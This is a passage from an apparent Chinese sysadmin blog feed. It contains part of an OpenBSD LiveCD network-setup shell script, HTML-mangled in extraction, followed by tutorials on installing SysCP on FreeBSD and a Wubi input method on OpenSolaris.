<p>	local _name=$1 _query=$2 _devs=$3 _defdev=$4 _err=$5</p>
<p>	set &#8212; $_devs</p>
<p>	if [[ $# -lt 1 ]]; then</p>
<p>		echo &#8220;${_err:=No ${_name}s found}.&#8221;</p>
<p>		resp=done</p>
<p>		return</p>
<p>	fi</p>
<p>	: ${_defdev:=$1}</p>
<p>	_devs=&#8221;$*&#8221;</p>
<p>	while : ; do</p>
<p>		ask &#8220;Available ${_name}s are: ${_devs}.\nWhich one ${_query}? </p>
<p>(or &#8216;done&#8217;)&#8221; &#8220;$_defdev&#8221;</p>
<p>		[[ $resp == done ]] &#038;&#038; break</p>
<p>		if isin &#8220;$resp&#8221; $_devs; then</p>
<p>			makedev $resp &#038;&#038; break</p>
<p>		else</p>
<p>			echo &#8220;&#8216;$resp&#8217; is not a valid choice.&#8221;</p>
<p>		fi</p>
<p>	done</p>
<p>}</p>
<p>isin() {</p>
<p>	local	_a=$1 _b</p>
<p>	shift</p>
<p>	for _b; do</p>
<p>		[ "$_a" = "$_b" ] &#038;&#038; return 0</p>
<p>	done</p>
<p>	return 1</p>
<p>}</p>
<p>addel() {</p>
<p>	local	_a=$1</p>
<p>	shift</p>
<p>	echo -n &#8220;$*&#8221;</p>
<p>	isin &#8220;$_a&#8221; $* || echo -n &#8221; $_a&#8221;</p>
<p>}</p>
<p>rmel() {</p>
<p>	local	_a=$1 _b</p>
<p>	shift</p>
<p>	for _b; do</p>
<p>		[ "$_a" != "$_b" ] &#038;&#038; echo -n &#8220;$_b &#8221;</p>
<p>	done</p>
<p>}</p>
<p>edit_tmp_file() {</p>
<p>	local _file=$1</p>
<p>	ask_yn &#8220;Edit $_file with $EDITOR?&#8221;</p>
<p>	[[ $resp == y ]] &#038;&#038; $EDITOR /tmp/$_file</p>
<p>}</p>
<p>manual_net_cfg() {</p>
<p>	ask_yn &#8220;Do you want to do any manual network configuration?&#8221;</p>
<p>	[[ $resp == y ]] &#038;&#038; { echo &#8220;Type &#8216;exit&#8217; to return to $MODE.&#8221; ; sh ; }</p>
<p>}</p>
<p>makedev() {</p>
<p>	local _dev=$1 _node=/dev/r${1}c</p>
<p>	if isin $_dev $IFDEVS || [[ -c $_node || -z ${_dev##+([0-9])} ]] ; then</p>
<p>		return 0</p>
<p>	fi</p>
<p>	if [[ ! -r /dev/MAKEDEV ]] ; then</p>
<p>		echo &#8220;No /dev/MAKEDEV. Can&#8217;t create device nodes for ${_dev}.&#8221;</p>
<p>		return 1</p>
<p>	fi</p>
<p>	(cd /dev; sh MAKEDEV $_dev)</p>
<p>	[[ -c $_node ]] || return 1</p>
<p>	DEVSMADE=`addel $_dev $DEVSMADE`</p>
<p>}</p>
<p>addhostent() {</p>
<p>	sed &#8220;/ $2\$/d&#8221; /etc/hosts >; /etc/hosts.new</p>
<p>	mv /etc/hosts.new /etc/hosts</p>
<p>	echo &#8220;$1 $2&#8243; >;>; /etc/hosts</p>
<p>}</p>
<p>configure_ifs() {</p>
<p>	local _IFDEVS=$IFDEVS _ifs _name _media _hn</p>
<p>	while : ; do</p>
<p>		ask_which &#8220;interface&#8221; &#8220;do you wish to initialize&#8221; &#8220;$_IFDEVS&#8221; \</p>
<p>			&#8220;&#8221; &#8220;No more interfaces to initialize&#8221;</p>
<p>		[[ $resp == done ]] &#038;&#038; break</p>
<p>		_ifs=$resp</p>
<p>		_hn=/etc/hostname.$_ifs</p>
<p>		ask &#8220;Symbolic (host) name for $_ifs?&#8221; &#8220;$(hostname -s)&#8221;</p>
<p>		_name=$resp</p>
<p>		_media=$(ifconfig -m $_ifs | grep &#8220;media &#8220;)</p>
<p>		if [[ -n $_media ]]; then</p>
<p>			cat << __EOT</p>
<p>The media options for $_ifs are currently</p>
<p>$(ifconfig -m $_ifs | sed -n '/supported/D;/media:/p')</p>
<p>__EOT</p>
<p>			ask_yn "Do you want to change the media options?"</p>
<p>			case $resp in</p>
<p>			y)	cat << __EOT</p>
<p>Supported media options for $_ifs are:</p>
<p>$_media</p>
<p>__EOT</p>
<p>				ask "Media options for $_ifs?"</p>
<p>				_media=$resp</p>
<p>				ifconfig $_ifs $_media || return 1</p>
<p>				;;</p>
<p>			n)	_media=</p>
<p>				;;</p>
<p>			esac</p>
<p>		fi</p>
<p>		rm -f $_hn</p>
<p>		v4_config "$_ifs" "$_media" "$_name" "$_hn"</p>
<p>		[[ -f $_hn ]] &#038;&#038; _IFDEVS=$(rmel "$_ifs" $_IFDEVS)</p>
<p>	done</p>
<p>}</p>
<p>v4_info() {</p>
<p>	ifconfig $1 inet | sed -n '</p>
<p>		1s/.*<UP,.*/UP/p</p>
<p>		1s/.*<.*/DOWN/p</p>
<p>		/inet/s/netmask//</p>
<p>		/inet/s///p'</p>
<p>}</p>
<p>dhcp_request() {</p>
<p>	local _ifs=$1 _hostname=$2</p>
<p>	echo "initial-interval 1;" >; /etc/dhclient.conf</p>
<p>	if [[ -n $_hostname ]]; then</p>
<p>		echo &#8220;send host-name \&#8221;$_hostname\&#8221;;&#8221; >;>; /etc/dhclient.conf</p>
<p>		echo &#8220;Issuing hostname-associated DHCP request for $_ifs.&#8221;</p>
<p>	else</p>
<p>		echo &#8220;Issuing free-roaming DHCP request for $_ifs.&#8221;</p>
<p>	fi</p>
<p>	cat >;>; /etc/dhclient.conf << __EOT</p>
<p>request subnet-mask,</p>
<p>	broadcast-address,</p>
<p>	routers,</p>
<p>	domain-name,</p>
<p>	domain-name-servers,</p>
<p>	host-name;</p>
<p>__EOT</p>
<p>	cat >;>; /etc/resolv.conf.tail << __EOT</p>
<p>lookup file bind</p>
<p>__EOT</p>
<p>	dhclient $_ifs</p>
<p>	set -- $(v4_info $_ifs)</p>
<p>	if [[ $1 == UP &#038;&#038; $2 == "0.0.0.0" ]]; then</p>
<p>		ifconfig $_ifs delete down</p>
<p>		rm /etc/dhclient.conf /etc/resolv.conf.tail</p>
<p>		return 1</p>
<p>	fi</p>
<p>#	cp /etc/dhclient.conf /tmp/dhclient.conf</p>
<p>#	cp /etc/resolv.conf.tail /tmp/resolv.conf.tail</p>
<p>	return 0</p>
<p>}</p>
<p>v4_config() {</p>
<p>	local _ifs=$1 _media=$2 _name=$3 _hn=$4 _prompt</p>
<p>	set -- $(v4_info $_ifs)</p>
<p>	if [[ -n $2 ]]; then</p>
<p>		ifconfig $_ifs inet $2 delete</p>
<p>		[[ $2 != "0.0.0.0" ]] &#038;&#038; { _addr=$2; _mask=$3; }</p>
<p>	fi</p>
<p>	[[ -x /sbin/dhclient ]] &#038;&#038; _prompt=" or 'dhcp'"</p>
<p>	_prompt="IPv4 address for $_ifs? (or 'none'$_prompt)"</p>
<p>	ask_until "$_prompt" "$_addr"</p>
<p>	case $resp in</p>
<p>	none)	;;</p>
<p>	dhcp)	if [[ ! -x /sbin/dhclient ]]; then</p>
<p>			echo "DHCP not possible - no /sbin/dhclient."</p>
<p>		elif dhcp_request $_ifs "$_name" || dhcp_request $_ifs ; then</p>
<p>			addhostent "127.0.0.1" "$_name"</p>
<p>			echo "dhcp NONE NONE NONE $_media" >; $_hn</p>
<p>		fi</p>
<p>		;;</p>
<p>	*)	_addr=$resp</p>
<p>		ask_until &#8220;Netmask?&#8221; &#8220;${_mask:=255.255.255.0}&#8221;</p>
<p>		if ifconfig $_ifs inet $_addr netmask $resp up ; then</p>
<p>			addhostent &#8220;$_addr&#8221; &#8220;$_name&#8221;</p>
<p>			echo &#8220;inet $_addr $resp NONE $_media&#8221; >; $_hn</p>
<p>		fi</p>
<p>		;;</p>
<p>	esac</p>
<p>}</p>
<p>v4_defroute() {</p>
<p>	local _dr _prompt=&#8221; or &#8216;none&#8217;&#8221;</p>
<p>	[[ -x /sbin/dhclient ]] &#038;&#038; _prompt=&#8221;, &#8216;dhcp&#8217;$_prompt&#8221;</p>
<p>	_prompt=&#8221;Default IPv4 route? (IPv4 address$_prompt)&#8221;</p>
<p>	_dr=$(route -n show -inet | sed -ne &#8216;/^default */{s///; s/ .*//; p;}&#8217;)</p>
<p>	[[ -f /tmp/dhclient.conf ]] &#038;&#038; _dr=dhcp</p>
<p>	while : ; do</p>
<p>		ask_until &#8220;$_prompt&#8221; &#8220;$_dr&#8221;</p>
<p>		case $resp in</p>
<p>		none|dhcp) break ;;</p>
<p>		esac</p>
<p>		route delete -inet default >; /dev/null 2>;&#038;1</p>
<p>		route -n add -inet -host default &#8220;$resp&#8221; &#038;&#038; { echo &#8220;$resp&#8221; </p>
<p>>;/etc/mygate ; break ; }</p>
<p>		route -n add -inet -host default $_dr >;/dev/null 2>;&#038;1</p>
<p>	done</p>
<p>}</p>
<p>isalphanumeric() {</p>
<p>	local _n=$1</p>
<p>	while [[ ${#_n} -ne 0 ]]; do</p>
<p>		case $_n in</p>
<p>		[A-Za-z0-9]*)	;;</p>
<p>		*)		return 1;;</p>
<p>		esac</p>
<p>		_n=${_n#?}</p>
<p>	done</p>
<p>	return 0</p>
<p>}</p>
<p>enable_network() {</p>
<p>	local _netfile</p>
<p>#	for _netfile in hosts dhclient.conf resolv.conf resolv.conf.tail </p>
<p>protocols services; do</p>
<p>#		if [ -f /mnt/etc/${_netfile} ]; then</p>
<p>#			cp /mnt/etc/${_netfile} /etc/${_netfile}</p>
<p>#		fi</p>
<p>#	done</p>
<p>	ifconfig lo0 inet 127.0.0.1</p>
<p>	for hn in /etc/hostname.*; do</p>
<p>		if=${hn#/etc/hostname.}</p>
<p>		if ! isalphanumeric &#8220;$if&#8221;; then</p>
<p>			continue</p>
<p>		fi</p>
<p>		ifconfig $if >; /dev/null 2>;&#038;1</p>
<p>		if [ $? -ne 0 ]; then</p>
<p>			continue</p>
<p>		fi</p>
<p>		while :; do</p>
<p>			if [ "$cmd2" ]; then</p>
<p>				set &#8212; $cmd2</p>
<p>				af=$1 name=$2 mask=$3 bcaddr=$4 ext1=$5 cmd2=</p>
<p>				i=1; while [ i -lt 6 -a -n "$1" ]; do shift; let </p>
<p>i=i+1; done</p>
<p>				ext2=&#8221;$@&#8221;</p>
<p>			else</p>
<p>				read af name mask bcaddr ext1 ext2 || break</p>
<p>			fi</p>
<p>			case $af in</p>
<p>			&#8220;#&#8221;*|&#8221;!&#8221;*|&#8221;bridge&#8221;|&#8221;"|&#8221;rtsol&#8221;)</p>
<p>				continue</p>
<p>				;;</p>
<p>			&#8220;dhcp&#8221;)	[ "$name" = "NONE" ] &#038;&#038; name=</p>
<p>				[ "$mask" = "NONE" ] &#038;&#038; mask=</p>
<p>				[ "$bcaddr" = "NONE" ] &#038;&#038; bcaddr=</p>
<p>				ifconfig $if $name $mask $bcaddr $ext1 $ext2 </p>
<p>down</p>
<p>				cmd=&#8221;dhclient $if&#8221;</p>
<p>				;;</p>
<p>			&#8220;up&#8221;)</p>
<p>				cmd=&#8221;ifconfig $if $name $mask $bcaddr $ext1 </p>
<p>$ext2 up&#8221;</p>
<p>				;;</p>
<p>			*)	read dt dtaddr</p>
<p>				if [ "$name" = "alias" ]; then</p>
<p>					alias=$name</p>
<p>					name=$mask</p>
<p>					mask=$bcaddr</p>
<p>					bcaddr=$ext1</p>
<p>					ext1=$ext2</p>
<p>					ext2=</p>
<p>				else</p>
<p>					alias=</p>
<p>				fi</p>
<p>				cmd=&#8221;ifconfig $if $af $alias $name &#8221;</p>
<p>				case $dt in</p>
<p>				dest)	cmd=&#8221;$cmd $dtaddr&#8221;</p>
<p>					;;</p>
<p>				[a-z!]*)</p>
<p>					cmd2=&#8221;$dt $dtaddr&#8221;</p>
<p>					;;</p>
<p>				esac</p>
<p>				if [ ! -n "$name" ]; then</p>
<p>					echo &#8220;/etc/hostname.$if: invalid network </p>
<p>configuration file&#8221;</p>
<p>					return</p>
<p>				fi</p>
<p>				case $af in</p>
<p>				inet)	[ "$mask" ] &#038;&#038; cmd=&#8221;$cmd netmask $mask&#8221;</p>
<p>					if [ "$bcaddr" -a "$bcaddr" != "NONE" ]; </p>
<p>then</p>
<p>						cmd=&#8221;$cmd broadcast $bcaddr&#8221;</p>
<p>					fi</p>
<p>					[ "$alias" ] &#038;&#038; rtcmd=&#8221;; route -qn add </p>
<p>-host $name 127.0.0.1&#8243;</p>
<p>					;;</p>
<p>				inet6)</p>
<p>					continue</p>
<p>					;;</p>
<p>				*)	cmd=&#8221;$cmd $mask $bcaddr&#8221;</p>
<p>				esac</p>
<p>				cmd=&#8221;$cmd $ext1 $ext2$rtcmd&#8221; rtcmd=</p>
<p>				;;</p>
<p>			esac</p>
<p>			eval &#8220;$cmd&#8221;</p>
<p>		done </etc/hostname.$if</p>
<p>	done</p>
<p>	if [ -f /etc/mygate ]; then</p>
<p>		route delete default >;/dev/null 2>;&#038;1</p>
<p>		route -qn add -host default $(< /etc/mygate)</p>
<p>	fi</p>
<p>	route -qn add -host `hostname` 127.0.0.1 >;/dev/null</p>
<p>	route -qn add -net 127 127.0.0.1 -reject >;/dev/null</p>
<p>	echo &#8220;Network interface configuration:&#8221;</p>
<p>	ifconfig -am</p>
<p>	route -n show</p>
<p>	if [ -f /etc/resolv.conf ]; then</p>
<p>		echo &#8220;\nResolver enabled.&#8221;</p>
<p>	else</p>
<p>		echo &#8220;\nResolver not enabled.&#8221;</p>
<p>	fi</p>
<p>}</p>
<p>get_fqdn() {</p>
<p>	local _dn</p>
<p>	_dn=$(hostname)</p>
<p>	_dn=${_dn#$(hostname -s)}</p>
<p>	_dn=${_dn#.}</p>
<p>	echo &#8220;${_dn:=my.domain}&#8221;</p>
<p>}</p>
<p>donetconfig() {</p>
<p>	local _dn _ns</p>
<p>	configure_ifs</p>
<p>	if [ -f /etc/resolv.conf.shadow ]; then</p>
<p>		mv /etc/resolv.conf.shadow /etc/resolv.conf</p>
<p>		_ns=$(sed -ne &#8216;/^nameserver /s///p&#8217; /etc/resolv.conf)</p>
<p>		_dn=$(sed -n \</p>
<p>			-e &#8216;/^domain[[:space:]][[:space:]]*/{s///;s/\([^</p>
<p>[:space:]]*\).*$/\1/;h;}&#8217; \</p>
<p>			-e &#8216;/^search[[:space:]][[:space:]]*/{s///;s/\([^</p>
<p>[:space:]]*\).*$/\1/;h;}&#8217; \</p>
<p>			-e &#8216;${g;p;}&#8217; /tmp/resolv.conf)</p>
<p>	fi</p>
<p>	ask &#8220;DNS domain name? (e.g. &#8216;bar.com&#8217;)&#8221; &#8220;${_dn:=$(get_fqdn)}&#8221;</p>
<p>	hostname &#8220;$(hostname -s).$resp&#8221;</p>
<p>	ask &#8220;DNS nameserver? (IP address or &#8216;none&#8217;)&#8221; &#8220;${_ns:=none}&#8221;</p>
<p>	if [[ $resp != none ]]; then</p>
<p>		echo &#8220;lookup file bind&#8221; >; /etc/resolv.conf</p>
<p>		for _ns in $resp; do</p>
<p>			echo &#8220;nameserver $_ns&#8221; >;>; /etc/resolv.conf</p>
<p>		done</p>
<p>		ask_yn &#8220;Use the nameserver now?&#8221; yes</p>
<p>		[[ $resp == y ]] &#038;&#038; cp /etc/resolv.conf /etc/resolv.conf.shadow</p>
<p>	fi</p>
<p>	[[ -n $(ifconfig -a | sed -ne '/[ 	]inet .* broadcast /p&#8217;) ]] &#038;&#038; </p>
<p>v4_defroute</p>
<p>#	edit_tmp_file hosts</p>
<p>#	manual_net_cfg</p>
<p>}</p>
<p>IFDEVS=$(get_ifdevs)</p>
<p>MODE=OpenBSD-LiveCD</p>
<p>EDITOR=mg</p>
<p>ask_until &#8220;\nSystem hostname? (short form, e.g. &#8216;foo&#8217;)&#8221; &#8220;$(hostname -s)&#8221;</p>
<p>[[ ${resp%%.*} != $(hostname -s) ]] &#038;&#038; hostname $resp</p>
<p>( cd /etc; rm -f host* my* resolv.* dhclient.* )</p>
<p>cat >; /etc/hosts << __EOT</p>
<p>::1 localhost</p>
<p>127.0.0.1 localhost</p>
<p>::1 $(hostname -s)</p>
<p>127.0.0.1 $(hostname -s)</p>
<p>__EOT</p>
<p>ask_yn "Configure the network?" yes</p>
<p>[[ $resp == y ]] &#038;&#038; donetconfig</p>
<p>( cd /etc</p>
<p>hostname >; myname</p>
<p>_dn=$(get_fqdn)</p>
<p>while read _addr _hn _aliases; do</p>
<p>	if [[ -n $_aliases || $_hn != ${_hn%%.*} || -z $_dn ]]; then</p>
<p>		echo &#8220;$_addr $_hn $_aliases&#8221;</p>
<p>	else</p>
<p>		echo &#8220;$_addr $_hn.$_dn $_hn&#8221;</p>
<p>	fi</p>
<p>done < hosts >; hosts.new</p>
<p>mv hosts.new hosts</p>
<p>)</p>
<p>ask &#8220;HTTP/FTP proxy URL? (e.g. &#8216;http://proxy:8080&#8242;, or &#8216;none&#8217;)&#8221; \</p>
<p>	    &#8220;${ftp_proxy:-none}&#8221;</p>
<p>unset ftp_proxy http_proxy</p>
<p>[[ $resp == none ]] || export ftp_proxy=$resp http_proxy=$resp</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1209.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>FreeBSD下安装SysCP主机管理系统</title>
		<link>http://www.evanjiang.net.cn/archives/1197.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1197.html#comments</comments>
		<pubDate>Fri, 19 Jun 2009 04:45:11 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[It Tips]]></category>
		<category><![CDATA[freebsd unix]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1197</guid>
		<description><![CDATA[<p>实施环境：FreeBSD 7 Beta 1.5 AMD64位，CD光盘。采用Mini安装，允许SSH。</p>
<p>1、添加FreeBSD的Ports包更新工具CVSUP
pkg_add -r cvsup-without-gui</p>
<p>2、添加FreeBSD的bash
pkg_add -r bash</p>
<p>3、修改以下文件的CHANGE_THIS.FREEBSD.ORG为cvsup.freebsdchina.org（位于第49行）
/usr/share/examples/cvsup/ports-supfile
/usr/share/examples/cvsup/www-supfile
/usr/share/examples/cvsup/stable-supfile</p>
<p>4、重启后更新系统
cvsup -g -L 2 /usr/share/examples/cvsup/ports-supfile
cvsup -g -L 2 /usr/share/examples/cvsup/www-supfile
cvsup -g -L 2 /usr/share/examples/cvsup/stable-supfile</p>
<p>5、开始安装SYSCP
cd /usr/ports/sysutils/syscp
make all install clean</p>
<p>对话框Options for apache 2.2.6_2
[X] MYSQL                 Enable MySQL support for apr-dbd
[X] AUTH_BASIC     [...]]]></description>
			<content:encoded><![CDATA[<p>实施环境：FreeBSD 7 Beta 1.5 AMD64位，CD光盘。采用Mini安装，允许SSH。</p>
<p>1、添加FreeBSD的Ports包更新工具CVSUP<br />
pkg_add -r cvsup-without-gui</p>
<p>2、添加FreeBSD的bash<br />
pkg_add -r bash</p>
<p>3、修改以下文件的CHANGE_THIS.FREEBSD.ORG为cvsup.freebsdchina.org（位于第49行）<br />
/usr/share/examples/cvsup/ports-supfile<br />
/usr/share/examples/cvsup/www-supfile<br />
/usr/share/examples/cvsup/stable-supfile</p>
<p>4、重启后更新系统<br />
cvsup -g -L 2 /usr/share/examples/cvsup/ports-supfile<br />
cvsup -g -L 2 /usr/share/examples/cvsup/www-supfile<br />
cvsup -g -L 2 /usr/share/examples/cvsup/stable-supfile</p>
<p>5、开始安装SYSCP<br />
cd /usr/ports/sysutils/syscp<br />
make all install clean</p>
<p>对话框Options for apache 2.2.6_2<br />
[X] MYSQL                 Enable MySQL support for apr-dbd<br />
[X] AUTH_BASIC            Enable mod_auth_basic<br />
[X] AUTH_DIGEST           Enable mod_auth_digest<br />
[X] AUTHN_FILE            Enable mod_authn_file<br />
[X] AUTHN_DBD             Enable mod_authn_dbd<br />
[X] AUTHN_DBM             Enable mod_authn_dbm<br />
[X] AUTHN_ANON            Enable mod_authn_anon<br />
[X] AUTHN_DEFAULT         Enable mod_authn_default<br />
[X] AUTHN_ALIAS           Enable mod_authn_alias<br />
[X] AUTHZ_HOST            Enable mod_authz_host<br />
[X] AUTHZ_GROUPFILE       Enable mod_authz_groupfile<br />
[X] AUTHZ_USER            Enable mod_authz_user<br />
[X] AUTHZ_DBM             Enable mod_authz_dbm<br />
[X] AUTHZ_OWNER           Enable mod_authz_owner<br />
[X] AUTHZ_DEFAULT         Enable mod_authz_default<br />
[X] CACHE                 Enable mod_cache<br />
[X] DISK_CACHE            Enable mod_disk_cache<br />
[X] FILE_CACHE            Enable mod_file_cache<br />
[X] DAV                   Enable mod_dav<br />
[X] DAV_FS                Enable mod_dav_fs<br />
[X] ACTIONS               Enable mod_actions<br />
[X] ALIAS                 Enable mod_alias<br />
[X] ASIS                  Enable mod_asis<br />
[X] AUTOINDEX             Enable mod_autoindex<br />
[X] CERN_META             Enable mod_cern_meta<br />
[X] CGI                   Enable mod_cgi<br />
[X] CHARSET_LITE          Enable mod_charset_lite<br />
[X] DBD                   Enable mod_dbd<br />
[X] DEFLATE               Enable mod_deflate<br />
[X] DIR                   Enable mod_dir<br />
[X] DUMPIO                Enable mod_dumpio<br />
[X] ENV                   Enable mod_env<br />
[X] EXPIRES               Enable mod_expires<br />
[X] HEADERS               Enable mod_headers<br />
[X] IMAGEMAP              Enable mod_imagemapx<br />
[X] INCLUDE               Enable mod_include<br />
[X] INFO                  Enable mod_info<br />
[X] LOG_CONFIG            Enable mod_log_config<br />
[X] LOGIO                 Enable mod_logio<br />
[X] MIME                  Enable mod_mime<br />
[X] MIME_MAGIC            Enable mod_mime_magic<br />
[X] NEGOTIATION           Enable mod_negotiation<br />
[X] REWRITE               Enable mod_rewrite<br />
[X] SETENVIF              Enable mod_setenvif<br />
[X] SPELING               Enable mod_speling<br />
[X] STATUS                Enable mod_status<br />
[X] UNIQUE_ID             Enable mod_unique_id<br />
[X] USERDIR               Enable mod_userdir<br />
[X] USERTRACK             Enable mod_usertrack<br />
[X] VHOST_ALIAS           Enable mod_vhost_alias<br />
[X] FILTER                Enable mod_filter<br />
[X] VERSION               Enable mod_version<br />
[X] SSL                   Enable mod_ss</p>
<p>对话框Options for dovecot 1.0.7选择<br />
[X] KQUEUE    kqueue(2) support<br />
[X] SSL       SSL support<br />
[X] IPV6      IPv6 support<br />
[X] POP3      POP3 support<br />
[X] LDA       LDA support<br />
[X] MYSQL     MySQL support<br />
[X] SQLITE    SQLite support<br />
<span id="more-1197"></span><br />
对话框Options for postfix 2.4.6,1，选择<br />
[X] PCRE      Perl Compatible Regular Expressions<br />
[X] DOVECOT   Dovecot SASL authentication method<br />
[X] BDB       Berkeley DB (choose version with WITH_BDB_VER)<br />
[X] MYSQL     MySQL maps (choose version with WITH_MYSQL_VER)<br />
[X] VDA       VDA (Virtual Delivery Agent) </p>
<p>You need user &#8220;postfix&#8221; added to group &#8220;mail&#8221;.<br />
Would you like me to add it [y]? Y</p>
<p>Would you like to activate Postfix in /etc/mail/mailer.conf [n]? y</p>
<p>选择Options for proftpd-mysql 1.3.1_1<br />
[X] MYSQL            Use MySQL<br />
[X] OPENSSL          Include mod_tls<br />
[X] QUOTA            Include mod_quota<br />
[X] IFSESSION        Include mod_ifsession<br />
[X] README           Include mod_readme<br />
[X] RATIO            Include mod_ratio<br />
[X] REWRITE          Include mod_rewrite<br />
[X] WRAP             Include mod_wrap2<br />
[X] RADIUS           Include mod_radius</p>
<p>选项 Options for gd 2.0.35,1<br />
[X] ICONV       iconv support </p>
<p>对话框Options for php5 5.2.4_1<br />
[X] CLI        Build CLI version<br />
[X] CGI        Build CGI version<br />
[X] APACHE     Build Apache module<br />
[X] SUHOSIN    Enable Suhosin protection system (not for jails)<br />
[X] MULTIBYTE Enable zend multibyte support<br />
[X] FASTCGI    Enable fastcgi support (CGI only)<br />
[X] PATHINFO   Enable path-info-check support (CGI only)</p>
<p>//对话框Options for php5 5.2.4_1，我选择：<br />
[X] CLI        Build CLI version<br />
[X] CGI        Build CGI version<br />
[X] APACHE     Build Apache module<br />
[X] SUHOSIN    Enable Suhosin protection system (not for jails)<br />
[X] MULTIBYTE Enable zend multibyte support<br />
[X] FASTCGI    Enable fastcgi support (CGI only)<br />
[X] PATHINFO   Enable path-info-check support (CGI only) </p>
<p>6、创建并编辑/usr/local/etc/apache22/Includes/aliases.conf<br />
ee /usr/local/etc/apache22/Includes/aliases.conf<br />
<IfModule alias_module><br />
   Alias /syscp &#8220;/usr/local/www/syscp/&#8221;<br />
   <Directory "/usr/local/www/syscp"><br />
      AllowOverride None<br />
   </Directory><br />
</IfModule></p>
<p>7、修改/usr/local/etc/apache2/httpd.conf<br />
ee /usr/local/etc/apache2/httpd.conf<br />
添加：<br />
AddType application/x-httpd-php .php<br />
AddType application/x-httpd-php-source .phps</p>
<p>7、重新加载Apache配置<br />
/usr/local/sbin/apachectl graceful</p>
<p>8、编辑/etc.rc.conf<br />
apache22_enable=&#8221;YES&#8221;<br />
mysql_enable=&#8221;YES&#8221;<br />
named_enable=&#8221;YES&#8221;<br />
dovecot_enable=&#8221;YES&#8221;<br />
postfix_enable=&#8221;YES&#8221;<br />
proftpd_enable=&#8221;YES&#8221;</p>
<p>9、完成配置，重启后就可以进入http://您的IP/syscp管理系统</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1197.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Opensolaris 安装五笔输入法</title>
		<link>http://www.evanjiang.net.cn/archives/1186.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1186.html#comments</comments>
		<pubDate>Wed, 10 Jun 2009 12:44:55 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[sun unix]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1186</guid>
		<description><![CDATA[<p>1. 首先卸载系统自带的iiim输入法(可使用IPS管理器或命令,下同)
2. 安装scim输入法
3. 修改/etc/gtk-2.0/gtk.immodules文件
    a. 删除下述内容</p>
<p>&#8220;/usr/lib//gtk-2.0/2.10.0/immodules/im-iiim.so&#8221;
&#8220;iiim&#8221; &#8220;Internet/Intranet Input Method&#8221; &#8220;iiimgcf&#8221; &#8220;/usr/share/locale&#8221; &#8220;&#8221;</p>
<p>b. 在</p>
<p>&#8220;scim&#8221; &#8220;SCIM Input Method&#8221; &#8220;scim&#8221; &#8220;/usr/share/locale&#8221; &#8220;&#8221;</p>
<p>后面的最后一对引号内增加ja:ko:zh,即：</p>
<p>
&#8220;scim&#8221; &#8220;SCIM Input Method&#8221; &#8220;scim&#8221; &#8220;/usr/share/locale&#8221; &#8220;ja:ko:zh&#8221;</p>
<p>4. 保存，重启即可．</p>
<p>







另一种安装五笔输入法的方法：
首先保证你的机子联网
1.安装scim
打开软件包管理器，在搜索中输入scim,(这里在软件包管理器中要保证“显示：所有软件包”）
安装SUNWscim   SUNWscim-tables   SUNWscim-tables-chinese
2.删除iiim(系统自带的拼音输入法）
在搜索中输入iiim








删除显示的七个软件包，SUNWiiimf   SUNWiiimf-ja-anthy      SUNWiiimf-ko-hangul
SUNWiiimf-zhCN-cle-core   SUNWiiimf-zhCN-cle-sunpinyin     SUNWiiimf-zhTW-twle-chewing  SUNWiiimf-zhTW-twle-core
3.按Ctrl+Alt+退格键重启gnome，再次登陆就可以使用scim的五笔。</p>
]]></description>
			<content:encoded><![CDATA[<p>1. 首先卸载系统自带的iiim输入法(可使用IPS管理器或命令,下同)<br />
2. 安装scim输入法<br />
3. 修改/etc/gtk-2.0/gtk.immodules文件<br />
    a. 删除下述内容</p>
<p>&#8220;/usr/lib//gtk-2.0/2.10.0/immodules/im-iiim.so&#8221;<br />
&#8220;iiim&#8221; &#8220;Internet/Intranet Input Method&#8221; &#8220;iiimgcf&#8221; &#8220;/usr/share/locale&#8221; &#8220;&#8221;</p>
<p>b. 在</p>
<p>&#8220;scim&#8221; &#8220;SCIM Input Method&#8221; &#8220;scim&#8221; &#8220;/usr/share/locale&#8221; &#8220;&#8221;</p>
<p>后面的最后一对引号内增加ja:ko:zh,即：</p>
<p><span id="more-1186"></span><br />
&#8220;scim&#8221; &#8220;SCIM Input Method&#8221; &#8220;scim&#8221; &#8220;/usr/share/locale&#8221; &#8220;ja:ko:zh&#8221;</p>
<p>4. 保存，重启即可．</p>
<p>
<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
另一种安装五笔输入法的方法：<br />
首先保证你的机子联网<br />
1.安装scim<br />
打开软件包管理器，在搜索中输入scim,(这里在软件包管理器中要保证“显示：所有软件包”）<br />
安装SUNWscim   SUNWscim-tables   SUNWscim-tables-chinese<br />
2.删除iiim(系统自带的拼音输入法）<br />
在搜索中输入iiim<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
删除显示的七个软件包，SUNWiiimf   SUNWiiimf-ja-anthy      SUNWiiimf-ko-hangul<br />
SUNWiiimf-zhCN-cle-core   SUNWiiimf-zhCN-cle-sunpinyin     SUNWiiimf-zhTW-twle-chewing  SUNWiiimf-zhTW-twle-core<br />
3.按Ctrl+Alt+退格键重启gnome，再次登陆就可以使用scim的五笔。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1186.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>FreeBSD传真服务器(FreeBSD+HylaFax+Apache+php+Mysql+AvantFax)</title>
